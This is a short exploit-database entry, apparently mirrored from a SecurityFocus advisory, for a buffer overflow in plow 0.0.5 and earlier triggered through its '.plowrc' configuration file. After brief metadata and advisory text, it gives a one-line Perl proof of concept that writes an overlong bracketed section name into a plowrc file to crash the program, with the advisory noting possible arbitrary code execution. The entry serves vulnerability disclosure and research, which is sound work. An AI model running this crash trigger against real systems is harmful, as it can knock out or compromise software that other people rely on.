plow - '.plowrc' File Buffer Overflow

Author: Jean Pascal Pereira
type: dos
platform: multiple
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date_added: 2012-07-03
date_updated: 2015-07-04
verified: 1
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source: https://www.securityfocus.com/bid/54290/info

plow is prone to a buffer-overflow vulnerability.

Attackers can execute arbitrary code in the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

plow 0.0.5 and prior are vulnerable.

perl -e '$x="A"x1096;print("[".$x."]\nA=B")'>plowrc